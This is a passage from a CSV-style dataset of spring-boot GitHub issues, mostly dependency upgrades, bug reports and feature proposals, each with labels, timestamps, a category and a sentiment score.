## Root Cause Analysis
Reactive support is available but complex. Backpressure patterns are not enforced. Guidance is limited.

## Solution Overview
- Auto-configure Project Reactor
- Implement backpressure handling
- Build reactive best practices guides
- Create monitoring for reactive streams

**Implementation Steps:**
1. Create reactive autoconfiguration
2. Implement backpressure patterns
3. Add monitoring support
4. Build examples

## Type of Change
Enhancement, Reactive programming, Performance

## Testing Done
- Test 40+ reactive scenarios
- Verify backpressure handling
- Performance testing
- Load testing with high concurrency

## Related Issues & Standards
Reactive Streams specification, Project Reactor patterns

## Suggested Labels
enhancement, reactive, project-reactor, performance, GSSoC26","status: invalid,for: external-project",2026-06-09 04:34:07+00:00,2026-06-09 05:26:24+00:00,2,"status: invalid,for: external-project",0.0363,add reactive streams support with project reactor integration for backpressure handling problem statement spring boot s reactive support lacks backpressure handling applications struggle with reactive stream semantics no built in guidance for project reactor usage teams misuse reactive patterns causing performance issues business impact enables handling x concurrent connections improves memory efficiency supports true non blocking i o root cause analysis reactive support is available but complex backpressure patterns are not enforced guidance is limited solution overview auto configure project reactor implement backpressure handling build reactive best practices guides create monitoring for reactive streams implementation steps create reactive autoconfiguration implement backpressure patterns add monitoring support build examples type of change enhancement reactive programming performance testing done test reactive scenarios verify backpressure handling performance testing load testing with high concurrency related issues standards reactive streams specification project reactor patterns suggested labels enhancement reactive project reactor performance gssoc,help,0.9648
spring-projects/spring-boot,4618849810,Implement observability autoconfiguration with OpenTelemetry integration and metrics collection,"## Problem Statement
Spring Boot observability requires manual OpenTelemetry setup. No built-in metrics, traces, and logs correlation. Distributed tracing requires external configuration. Teams duplicate observability setup across applications.

**Business Impact:** Enables production monitoring, improves incident response time, supports observability at scale, reduces debugging time.

## Root Cause Analysis
Observability is fragmented. No integrated approach. Manual configuration required.

## Solution Overview
- Autoconfigure OpenTelemetry
- Auto-enable metrics collection
- Build traces and logs correlation
- Create health check enhancements
- Add observability endpoints

**Implementation Steps:**
1. Create OpenTelemetry autoconfiguration
2. Implement metrics collection
3. Build correlation system
4. Add health checks
5. Create documentation

## Type of Change
Enhancement, Observability, Production-ready

## Testing Done
- Test 30+ observability scenarios
- Verify metrics accuracy
- Performance testing (< 5% overhead)
- Distributed tracing accuracy
- Integration testing

## Related Issues & Standards
OpenTelemetry specification, observability best practices

## Suggested Labels
enhancement, observability, metrics, spring-boot, GSSoC26",status: invalid,2026-06-09 04:33:01+00:00,2026-06-09 05:29:25+00:00,2,status: invalid,0.0392,implement observability autoconfiguration with opentelemetry integration and metrics collection problem statement spring boot observability requires manual opentelemetry setup no built in metrics traces and logs correlation distributed tracing requires external configuration teams duplicate observability setup across applications business impact enables production monitoring improves incident response time supports observability at scale reduces debugging time root cause analysis observability is fragmented no integrated approach manual configuration required solution overview autoconfigure opentelemetry auto enable metrics collection build traces and logs correlation create health check enhancements add observability endpoints implementation steps create opentelemetry autoconfiguration implement metrics collection build correlation system add health checks create documentation type of change enhancement observability production ready testing done test observability scenarios verify metrics accuracy performance testing overhead distributed tracing accuracy integration testing related issues standards opentelemetry specification observability best practices suggested labels enhancement observability metrics spring boot gssoc,others,0.91
spring-projects/spring-boot,4589673697,spring-data-mongodb:4.4.10 fails to start with NoClassDefFoundError  for TypeInformation when used with Spring Boot 4.0.5,"## Spring Boot Version
4.0.5

## Problem
When using spring-boot-starter-data-mongodb with Spring Boot 4.0.5, 
the application fails to start with:

java.lang.NoClassDefFoundError: 
  org/springframework/data/util/TypeInformation
  at org.springframework.data.mongodb.core.MongoTemplate
     .getDefaultMongoConverter(MongoTemplate.java:2987)

## Root Cause
In spring-boot-data-commons:4.0.5, TypeInformation has moved from:
  org.springframework.data.util.TypeInformation
to:
  org.springframework.data.core.TypeInformation

spring-data-mongodb:4.4.10, managed by the Spring Boot 4.0.5 BOM, 
still references the old package location causing a 
NoClassDefFoundError at runtime.

## Steps to Reproduce
1. Create a Spring Boot 4.0.5 application
2. Add spring-boot-starter-data-mongodb (no explicit version)
3. Add spring-boot-starter-data-jpa (no explicit version)
4. Start the application
5. Application fails with NoClassDefFoundError on TypeInformation

## Expected Behaviour
Application starts successfully and MongoTemplate is created.

## Actual Behaviour
Application fails to start with:

java.lang.NoClassDefFoundError: 
  org/springframework/data/util/TypeInformation
  at org.springframework.data.mongodb.core.MongoTemplate
     .getDefaultMongoConverter(MongoTemplate.java:2987)

## Additional Context
A secondary failure was also found where DataMongoProperties 
auto-configuration references 
MongoCustomConversions$BigDecimalRepresentation which no longer 
exists in spring-data-mongodb:4... [TRUNCATED]",status: invalid,2026-06-04 14:47:31+00:00,2026-06-04 16:16:20+00:00,1,status: invalid,0.0617,spring data mongodb fails to start with noclassdeffounderror for typeinformation when used with spring boot spring boot version problem when using spring boot starter data mongodb with spring boot the application fails to start with java lang noclassdeffounderror org springframework data util typeinformation at org springframework data mongodb core mongotemplate getdefaultmongoconverter mongotemplate java root cause in spring boot data commons typeinformation has moved from org springframework data util typeinformation to org springframework data core typeinformation spring data mongodb managed by the spring boot bom still references the old package location causing a noclassdeffounderror at runtime create a spring boot application add spring boot starter data mongodb no explicit version add spring boot starter data jpa no explicit version start the application application fails with noclassdeffounderror on typeinformation expected behaviour application starts successfully and mongotemplate is created actual behaviour application fails to start with java lang noclassdeffounderror org springframework data util typeinformation at org springframework data mongodb core mongotemplate getdefaultmongoconverter mongotemplate java a secondary failure was also found where datamongoproperties auto configuration references mongocustomconversions bigdecimalrepresentation which no longer exists in spring data mongodb truncated,bug,-0.9382
spring-projects/spring-boot,4581782337,[Packaging OCI Images] How to install extra Linux packages?,"I want to build a Docker image based on [Cloud Native Buildpacks](https://buildpacks.io) with the Spring Boot Maven Plugin, but I need to install few extra Linux packages (APT packages in my case). We can think of APT packages of type fonts. But seems impossible to customize Spring Boot Maven Plugin to achieve that.

> Can you add an example in the doc to explain how to install  with [Cloud Native Buildpacks](https://buildpacks.io) some Linux packages required to run a Spring Boot application?

I know the existence of https://github.com/paketo-buildpacks/apt but cannot figure out how to use it with Spring Boot Maven Plugin.","status: invalid,for: stackoverflow",2026-06-03 16:33:54+00:00,2026-06-03 17:19:02+00:00,1,"status: invalid,for: stackoverflow",0.0313,packaging oci images how to install extra linux packages i want to build a docker image based on cloud native buildpacks with the spring boot maven plugin but i need to install few extra linux packages apt packages in my case we can think of apt packages of type fonts but seems impossible to customize spring boot maven plugin to achieve that can you add an example in the doc to explain how to install with cloud native buildpacks some linux packages required to run a spring boot application i know the existence of but cannot figure out how to use it with spring boot maven plugin,help,0.0387
spring-projects/spring-boot,4581041954,Upgrade to Byte Buddy 1.18.10,"Upgrade to [Byte Buddy 1.18.10](https://github.com/raphw/byte-buddy/releases/tag/byte-buddy-1.18.10).

Supersedes #50653","type: dependency-upgrade,status: team-only",2026-06-03 15:00:03+00:00,2026-06-03 15:04:28+00:00,0,"type: dependency-upgrade,status: team-only",0.0031,upgrade to byte buddy upgrade to byte buddy supersedes,others,0.0
spring-projects/spring-boot,4580860853,Upgrade to Netty 4.2.15.Final,"Upgrade to [Netty 4.2.15.Final](https://github.com/netty/netty/releases/tag/netty-4.2.15.Final).

Supersedes #50557","type: dependency-upgrade,status: team-only",2026-06-03 14:38:03+00:00,2026-06-04 08:03:30+00:00,0,"type: dependency-upgrade,status: team-only",0.726,upgrade to netty final upgrade to netty final supersedes,others,0.0
spring-projects/spring-boot,4580860183,Upgrade to Maven Surefire Plugin 3.5.6,Upgrade to [Maven Surefire Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03 14:37:59+00:00,2026-06-03 14:59:01+00:00,0,"type: dependency-upgrade,status: team-only",0.0146,upgrade to maven surefire plugin upgrade to maven surefire plugin,others,0.4588
spring-projects/spring-boot,4580859639,Upgrade to Maven Failsafe Plugin 3.5.6,Upgrade to [Maven Failsafe Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03 14:37:54+00:00,2026-06-03 14:59:00+00:00,0,"type: dependency-upgrade,status: team-only",0.0147,upgrade to maven failsafe plugin upgrade to maven failsafe plugin,others,0.0
spring-projects/spring-boot,4580858785,Upgrade to Logback 1.5.34,Upgrade to Logback 1.5.34.,"type: dependency-upgrade,status: team-only",2026-06-03 14:37:50+00:00,2026-06-03 14:58:58+00:00,0,"type: dependency-upgrade,status: team-only",0.0147,upgrade to logback upgrade to logback,others,0.0
spring-projects/spring-boot,4580858262,Upgrade to Jetty 12.1.10,Upgrade to [Jetty 12.1.10](https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10).,"type: dependency-upgrade,status: team-only",2026-06-03 14:37:46+00:00,2026-06-03 14:58:57+00:00,0,"type: dependency-upgrade,status: team-only",0.0147,upgrade to jetty upgrade to jetty,others,0.0
spring-projects/spring-boot,4580857320,Upgrade to Jaxen 2.0.5,"Upgrade to [Jaxen 2.0.5](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.5).

Supersedes #50552","type: task,status: superseded",2026-06-03 14:37:39+00:00,2026-06-03 14:58:56+00:00,0,"type: task,status: superseded",0.0148,upgrade to jaxen upgrade to jaxen supersedes,others,0.0
spring-projects/spring-boot,4580856606,Upgrade to Jakarta Json Bind 3.0.2,Upgrade to Jakarta Json Bind 3.0.2.,"type: dependency-upgrade,status: team-only",2026-06-03 14:37:34+00:00,2026-06-03 14:58:56+00:00,0,"type: dependency-upgrade,status: team-only",0.0148,upgrade to jakarta json bind upgrade to jakarta json bind,others,0.0
spring-projects/spring-boot,4580855511,Upgrade to Jackson Bom 3.1.4,"Upgrade to [Jackson Bom 3.1.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.4).

Supersedes #50327","type: dependency-upgrade,status: team-only",2026-06-03 14:37:27+00:00,2026-06-03 14:58:55+00:00,0,"type: dependency-upgrade,status: team-only",0.0149,upgrade to jackson bom upgrade to jackson bom supersedes,others,0.0
spring-projects/spring-boot,4580854773,Upgrade to Jackson 2 Bom 2.21.4,"Upgrade to [Jackson 2 Bom 2.21.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.4).

Supersedes #50326","type: dependency-upgrade,status: team-only",2026-06-03 14:37:21+00:00,2026-06-03 14:58:54+00:00,0,"type: dependency-upgrade,status: team-only",0.015,upgrade to jackson bom upgrade to jackson bom supersedes,others,0.0
spring-projects/spring-boot,4580853761,Upgrade to Hibernate 7.2.17.Final,"Upgrade to [Hibernate 7.2.17.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.17).

Supersedes #50551","type: task,status: superseded",2026-06-03 14:37:14+00:00,2026-06-03 14:58:53+00:00,0,"type: task,status: superseded",0.015,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4580852820,Upgrade to Glassfish JAXB 4.0.9,"Upgrade to [Glassfish JAXB 4.0.9](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.9-RI).

Supersedes #50323","type: dependency-upgrade,status: team-only",2026-06-03 14:37:08+00:00,2026-06-03 14:58:52+00:00,0,"type: dependency-upgrade,status: team-only",0.0151,upgrade to glassfish jaxb upgrade to glassfish jaxb supersedes,others,0.0
spring-projects/spring-boot,4580852207,Upgrade to Cassandra Driver 4.19.3,Upgrade to Cassandra Driver 4.19.3.,"type: dependency-upgrade,status: team-only",2026-06-03 14:37:03+00:00,2026-06-03 14:58:51+00:00,0,"type: dependency-upgrade,status: team-only",0.0151,upgrade to cassandra driver upgrade to cassandra driver,others,0.0
spring-projects/spring-boot,4580750883,Upgrade to Netty 4.1.135.Final,"Upgrade to [Netty 4.1.135.Final](https://github.com/netty/netty/releases/tag/netty-4.1.135.Final).

Supersedes #50532","type: dependency-upgrade,status: team-only",2026-06-03 14:25:30+00:00,2026-06-03 14:32:44+00:00,0,"type: dependency-upgrade,status: team-only",0.005,upgrade to netty final upgrade to netty final supersedes,others,0.0
spring-projects/spring-boot,4580750237,Upgrade to Maven Surefire Plugin 3.5.6,Upgrade to [Maven Surefire Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03 14:25:25+00:00,2026-06-03 14:32:43+00:00,0,"type: dependency-upgrade,status: team-only",0.0051,upgrade to maven surefire plugin upgrade to maven surefire plugin,others,0.4588
spring-projects/spring-boot,4580749561,Upgrade to Maven Failsafe Plugin 3.5.6,Upgrade to [Maven Failsafe Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-03 14:25:21+00:00,2026-06-03 14:32:41+00:00,0,"type: dependency-upgrade,status: team-only",0.0051,upgrade to maven failsafe plugin upgrade to maven failsafe plugin,others,0.0
spring-projects/spring-boot,4580748972,Upgrade to Logback 1.5.34,Upgrade to Logback 1.5.34.,"type: dependency-upgrade,status: team-only",2026-06-03 14:25:17+00:00,2026-06-03 14:32:40+00:00,0,"type: dependency-upgrade,status: team-only",0.0051,upgrade to logback upgrade to logback,others,0.0
spring-projects/spring-boot,4580748209,Upgrade to Jetty 12.0.36,"Upgrade to [Jetty 12.0.36](https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.36).

Supersedes #50314","type: dependency-upgrade,status: team-only",2026-06-03 14:25:10+00:00,2026-06-03 14:32:39+00:00,0,"type: dependency-upgrade,status: team-only",0.0052,upgrade to jetty upgrade to jetty supersedes,others,0.0
spring-projects/spring-boot,4580747175,Upgrade to Jaxen 2.0.5,"Upgrade to [Jaxen 2.0.5](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.5).

Supersedes #50530","type: task,status: superseded",2026-06-03 14:25:04+00:00,2026-06-03 14:32:38+00:00,0,"type: task,status: superseded",0.0053,upgrade to jaxen upgrade to jaxen supersedes,others,0.0
spring-projects/spring-boot,4580746698,Upgrade to Jakarta Json Bind 3.0.2,Upgrade to Jakarta Json Bind 3.0.2.,"type: dependency-upgrade,status: team-only",2026-06-03 14:25:00+00:00,2026-06-03 14:32:37+00:00,0,"type: dependency-upgrade,status: team-only",0.0053,upgrade to jakarta json bind upgrade to jakarta json bind,others,0.0
spring-projects/spring-boot,4580745776,Upgrade to Jackson Bom 2.21.4,"Upgrade to [Jackson Bom 2.21.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.4).

Supersedes #50312","type: dependency-upgrade,status: team-only",2026-06-03 14:24:53+00:00,2026-06-03 14:32:36+00:00,0,"type: dependency-upgrade,status: team-only",0.0054,upgrade to jackson bom upgrade to jackson bom supersedes,others,0.0
spring-projects/spring-boot,4580744878,Upgrade to Hibernate 6.6.52.Final,"Upgrade to [Hibernate 6.6.52.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.52).

Supersedes #50529","type: task,status: superseded",2026-06-03 14:24:47+00:00,2026-06-03 14:32:35+00:00,0,"type: task,status: superseded",0.0054,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4580744198,Upgrade to Glassfish JAXB 4.0.9,"Upgrade to [Glassfish JAXB 4.0.9](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.9-RI).

Supersedes #50309","type: dependency-upgrade,status: team-only",2026-06-03 14:24:41+00:00,2026-06-03 14:32:34+00:00,0,"type: dependency-upgrade,status: team-only",0.0055,upgrade to glassfish jaxb upgrade to glassfish jaxb supersedes,others,0.0
spring-projects/spring-boot,4580743577,Upgrade to Cassandra Driver 4.19.3,Upgrade to Cassandra Driver 4.19.3.,"type: dependency-upgrade,status: team-only",2026-06-03 14:24:37+00:00,2026-06-03 14:32:33+00:00,0,"type: dependency-upgrade,status: team-only",0.0055,upgrade to cassandra driver upgrade to cassandra driver,others,0.0
spring-projects/spring-boot,4573315658,InetAddressFilter.externalAddresses does not exclude special purpose addresses from RFC 6890,"The `InetAddressFilter` introduced in Spring Boot 4.1 includes an `externalAddresses()` method which should filter special purpose addresses as defined in RFC 6890, but currently does not.

Credit to @ghosttT0 for reporting this issue",type: bug,2026-06-02 16:45:55+00:00,2026-06-02 16:54:29+00:00,0,type: bug,0.0059,inetaddressfilter externaladdresses does not exclude special purpose addresses from rfc the introduced in spring boot includes an method which should filter special purpose addresses as defined in rfc but currently does not credit to ghosttt for reporting this issue,bug,-0.572
spring-projects/spring-boot,4573268547,Upgrade to Oracle Database 23.26.2.0.0,Upgrade to Oracle Database 23.26.2.0.0.,"type: dependency-upgrade,status: team-only",2026-06-02 16:39:05+00:00,2026-06-02 21:50:02+00:00,1,"type: dependency-upgrade,status: team-only",0.2159,upgrade to oracle database upgrade to oracle database,others,0.0
spring-projects/spring-boot,4573267823,Upgrade to Netty 4.2.15.Final,"Upgrade to [Netty 4.2.15.Final](https://github.com/netty/netty/releases/tag/netty-4.2.15.Final).

Supersedes #50587","type: dependency-upgrade,status: team-only",2026-06-02 16:38:58+00:00,2026-06-04 08:03:30+00:00,0,"type: dependency-upgrade,status: team-only",1.642,upgrade to netty final upgrade to netty final supersedes,others,0.0
spring-projects/spring-boot,4573267418,Upgrade to Maven Surefire Plugin 3.5.6,Upgrade to [Maven Surefire Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-02 16:38:54+00:00,2026-06-02 16:42:18+00:00,0,"type: dependency-upgrade,status: team-only",0.0024,upgrade to maven surefire plugin upgrade to maven surefire plugin,others,0.4588
spring-projects/spring-boot,4573267031,Upgrade to Maven Failsafe Plugin 3.5.6,Upgrade to [Maven Failsafe Plugin 3.5.6](https://github.com/apache/maven-surefire/releases/tag/surefire-3.5.6).,"type: dependency-upgrade,status: team-only",2026-06-02 16:38:50+00:00,2026-06-02 16:42:17+00:00,0,"type: dependency-upgrade,status: team-only",0.0024,upgrade to maven failsafe plugin upgrade to maven failsafe plugin,others,0.0
spring-projects/spring-boot,4573266639,Upgrade to Logback 1.5.34,Upgrade to Logback 1.5.34.,"type: dependency-upgrade,status: team-only",2026-06-02 16:38:45+00:00,2026-06-02 16:42:17+00:00,0,"type: dependency-upgrade,status: team-only",0.0025,upgrade to logback upgrade to logback,others,0.0
spring-projects/spring-boot,4573266210,Upgrade to Kafka 4.2.1,Upgrade to [Kafka 4.2.1](https://downloads.apache.org/kafka/4.2.1/RELEASE_NOTES.html).,"type: dependency-upgrade,status: team-only",2026-06-02 16:38:41+00:00,2026-06-02 16:42:16+00:00,0,"type: dependency-upgrade,status: team-only",0.0025,upgrade to kafka upgrade to kafka,others,0.0
spring-projects/spring-boot,4573265513,Upgrade to Jetty 12.1.10,Upgrade to [Jetty 12.1.10](https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10).,"type: dependency-upgrade,status: team-only",2026-06-02 16:38:36+00:00,2026-06-02 16:42:15+00:00,0,"type: dependency-upgrade,status: team-only",0.0025,upgrade to jetty upgrade to jetty,others,0.0
spring-projects/spring-boot,4573264902,Upgrade to Jaxen 2.0.5,"Upgrade to [Jaxen 2.0.5](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.5).

Supersedes #50579","type: task,status: superseded",2026-06-02 16:38:30+00:00,2026-06-02 16:42:15+00:00,0,"type: task,status: superseded",0.0026,upgrade to jaxen upgrade to jaxen supersedes,others,0.0
spring-projects/spring-boot,4573264416,Upgrade to Jakarta Json Bind 3.0.2,Upgrade to Jakarta Json Bind 3.0.2.,"type: dependency-upgrade,status: team-only",2026-06-02 16:38:26+00:00,2026-06-02 16:42:14+00:00,0,"type: dependency-upgrade,status: team-only",0.0026,upgrade to jakarta json bind upgrade to jakarta json bind,others,0.0
spring-projects/spring-boot,4573263652,Upgrade to Jackson Bom 3.1.4,"Upgrade to [Jackson Bom 3.1.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.4).

Supersedes #50344","type: dependency-upgrade,status: team-only",2026-06-02 16:38:20+00:00,2026-06-02 16:42:13+00:00,0,"type: dependency-upgrade,status: team-only",0.0027,upgrade to jackson bom upgrade to jackson bom supersedes,others,0.0
spring-projects/spring-boot,4573263022,Upgrade to Jackson 2 Bom 2.21.4,"Upgrade to [Jackson 2 Bom 2.21.4](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.4).

Supersedes #50343","type: dependency-upgrade,status: team-only",2026-06-02 16:38:13+00:00,2026-06-02 16:42:13+00:00,0,"type: dependency-upgrade,status: team-only",0.0028,upgrade to jackson bom upgrade to jackson bom supersedes,others,0.0
spring-projects/spring-boot,4573262221,Upgrade to Glassfish JAXB 4.0.9,"Upgrade to [Glassfish JAXB 4.0.9](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.9-RI).

Supersedes #50339","type: dependency-upgrade,status: team-only",2026-06-02 16:38:07+00:00,2026-06-02 16:42:12+00:00,0,"type: dependency-upgrade,status: team-only",0.0028,upgrade to glassfish jaxb upgrade to glassfish jaxb supersedes,others,0.0
spring-projects/spring-boot,4573261217,Upgrade to Elasticsearch Client 9.4.2,"Upgrade to [Elasticsearch Client 9.4.2](https://www.elastic.co/docs/release-notes/elasticsearch/clients/java/9-4-2).

Supersedes #50577","type: dependency-upgrade,status: team-only",2026-06-02 16:38:01+00:00,2026-06-02 16:42:11+00:00,0,"type: dependency-upgrade,status: team-only",0.0029,upgrade to elasticsearch client upgrade to elasticsearch client supersedes,others,0.0
spring-projects/spring-boot,4573260788,Upgrade to Cassandra Driver 4.19.3,Upgrade to Cassandra Driver 4.19.3.,"type: dependency-upgrade,status: team-only",2026-06-02 16:37:56+00:00,2026-06-02 16:42:11+00:00,0,"type: dependency-upgrade,status: team-only",0.003,upgrade to cassandra driver upgrade to cassandra driver,others,0.0
spring-projects/spring-boot,4573260231,Upgrade to Byte Buddy 1.18.9,Upgrade to [Byte Buddy 1.18.9](https://github.com/raphw/byte-buddy/releases/tag/byte-buddy-1.18.9).,"type: task,status: superseded",2026-06-02 16:37:52+00:00,2026-06-02 16:42:10+00:00,0,"type: task,status: superseded",0.003,upgrade to byte buddy upgrade to byte buddy,others,0.0
spring-projects/spring-boot,4573259609,Upgrade to ActiveMQ 6.2.6,"Upgrade to [ActiveMQ 6.2.6](https://activemq.apache.org/components/classic/download/classic-06-02-06).

Supersedes #50337","type: dependency-upgrade,status: team-only",2026-06-02 16:37:46+00:00,2026-06-02 16:42:09+00:00,0,"type: dependency-upgrade,status: team-only",0.003,upgrade to activemq upgrade to activemq supersedes,others,0.0
spring-projects/spring-boot,4564677500,[Proposal] Ignore Auto-configuration classes during component scan,"The [springboot documentation states](https://docs.spring.io/spring-boot/reference/features/developing-auto-configuration.html#features.developing-auto-configuration.locating-auto-configuration-candidates):

> Auto-configurations must be loaded only by being named in the imports file. Make sure that they are defined in a specific package space and that they are never the target of component scanning.

This poses a problem in our company. We have some libraries that have the same ""root package"", say `com.maycompany` (but also have further packages name segments specific to the library). Some of these libraries have auto configuration beans that are referenced in the file `META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports` of the library. Other libraries just provide some beans that are automatically available in an application if it includes that library.

In the springboot applications we develop, we often specify `com.maycompany` as the value for `scanBasePackages`. This way we automatically get all the beans from all our libraries.

But with this specification, we also break the springboot requirement quoted above.

As of now, we see two workarounds, both not very good:

1. Each application must carefully list all the packages it wants to load beans from, maybe with excludes for the autoconfiguration beans. This is very cumbersome.
2. Each library should place the autoconfiguration beans under some other package, e.g. a subpackage of `com.myco... [TRUNCATED]",status: declined,2026-06-01 16:24:30+00:00,2026-06-01 17:35:20+00:00,11,status: declined,0.0492,proposal ignore auto configuration classes during component scan the springboot documentation states auto configurations must be loaded only by being named in the imports file make sure that they are defined in a specific package space and that they are never the target of component scanning this poses a problem in our company we have some libraries that have the same root package say but also have further packages name segments specific to the library some of these libraries have auto configuration beans that are referenced in the file of the library other libraries just provide some beans that are automatically available in an application if it includes that library in the springboot applications we develop we often specify as the value for this way we automatically get all the beans from all our libraries but with this specification we also break the springboot requirement quoted above as of now we see two workarounds both not very good each application must carefully list all the packages it wants to load beans from maybe with excludes for the autoconfiguration beans this is very cumbersome each library should place the autoconfiguration beans under some other package e g a subpackage of com myco truncated,feature,-0.1366
spring-projects/spring-boot,4561841398,Spring DESPERATELY needs a community posts page that isn't stack overflow.,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",,2026-06-01 09:16:14+00:00,2026-06-01 10:17:31+00:00,3,nan,0.0426,spring desperately needs a community posts page that isn t stack overflow thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,others,0.92
spring-projects/spring-boot,4557876616,NullPointerException in reactor-netty SniProvider and unmapped SSL bundle with RSocket,Forward port of issue #50640 to 4.1.x.,"type: bug,status: forward-port",2026-05-31 14:34:27+00:00,2026-05-31 16:05:47+00:00,0,"type: bug,status: forward-port",0.0634,nullpointerexception in reactor netty sniprovider and unmapped ssl bundle with rsocket forward port of issue to x,bug,0.0
spring-projects/spring-boot,4557858248,Fatal error: com.oracle.graal.pointsto.constraints.UnsupportedFeatureException: An object of type 'java.io.ProxyingConsole',"Hello! Suddenly, after upgrade project to Spring Boot 4.0.6, following error started appears when generating native artifact by running command:
 
`mvn spring-boot:build-image -Pnative -DskipTests`


Stack:
````
[INFO]     [builder]     Build resources:
[INFO]     [builder]      - 15.72GB of memory (75.6% of system memory, in container)
[INFO]     [builder]      - 16 thread(s) (100.0% of 16 available processor(s), determined at start)
[INFO]     [builder]     SLF4J(W): No SLF4J providers were found.
[INFO]     [builder]     SLF4J(W): Defaulting to no-operation (NOP) logger implementation
[INFO]     [builder]     SLF4J(W): See https://www.slf4j.org/codes.html#noProviders for further details.
[INFO]     [builder]     [2/8] Performing analysis...  []                               (104.9s @ 5.99GB)
[INFO]     [builder]        44,163 types,  62,797 fields, and 203,833 methods found reachable
[INFO]     [builder]        15,751 types,  15,672 fields, and  45,215 methods registered for reflection
[INFO]     [builder]             0 downcalls and 0 upcalls registered for foreign access
[INFO]     [builder]
[INFO]     [builder]     Fatal error: com.oracle.graal.pointsto.constraints.UnsupportedFeatureException: An object of type 'java.io.ProxyingConsole' was found in the image heap. This type, however, is marked for initialization at image run time for the following reason: classes are initialized at run time by default.
[INFO]     [builder]     This is not allowed for correctness reason... [TRUNCATED]",for: stackoverflow,2026-05-31 14:27:17+00:00,2026-05-31 16:07:33+00:00,3,for: stackoverflow,0.0696,fatal error com oracle graal pointsto constraints unsupportedfeatureexception an object of type java io proxyingconsole hello suddenly after upgrade project to spring boot following error started appears when generating native artifact by running command stack info builder build resources info builder gb of memory of system memory in container info builder thread s of available processor s determined at start info builder slf j w no slf j providers were found info builder slf j w defaulting to no operation nop logger implementation info builder slf j w see for further details info builder performing analysis s gb info builder types fields and methods found reachable info builder types fields and methods registered for reflection info builder downcalls and upcalls registered for foreign access info builder info builder fatal error com oracle graal pointsto constraints unsupportedfeatureexception an object of type java io proxyingconsole was found in the image heap this type however is marked for initialization at image run time for the following reason classes are initialized at run time by default info builder this is not allowed for correctness reason truncated,bug,-0.9517
spring-projects/spring-boot,4554586924,Test auto-configuration no longer integrates Spring Security with HtmlUnitDriver,Forward port of issue #50602 to 4.1.x.,"type: regression,status: forward-port",2026-05-30 13:48:38+00:00,2026-05-30 13:51:20+00:00,0,"type: regression,status: forward-port",0.0019,test auto configuration no longer integrates spring security with htmlunitdriver forward port of issue to x,bug,0.0516
spring-projects/spring-boot,4554339040,Qualified beans are not getting matched,"Hello.

I don't if this may be a bug in the context evaluation or I'm doing something wrong from my side, but I've a bean in Spring Boot 4.0.6 defined as 
```java
@Bean
@PingResource
@ConditionalOnMissingBean(value = HealthErrorHandler.class, annotation = PingResource.class)
public HealthErrorHandler healthErrorHandler() {
    return HealthErrorHandler.DEFAULT;
}
```
which, somehow, doesn't get created and, therefore, the beans relying on it can't be created in cascade.

Full code:
```java
@Qualifier
@Inherited
@Documented
@Retention(RUNTIME)
@Target({FIELD, METHOD, PARAMETER, TYPE, ANNOTATION_TYPE})
public @interface PingResource {}

public interface HealthErrorHandler {
    HealthErrorHandler DEFAULT = (ex, builder) -> builder.down(ex).build();

    @NotNull
    Health handle(@NotNull Throwable ex, @NotNull Builder builder);
}

@AutoConfiguration
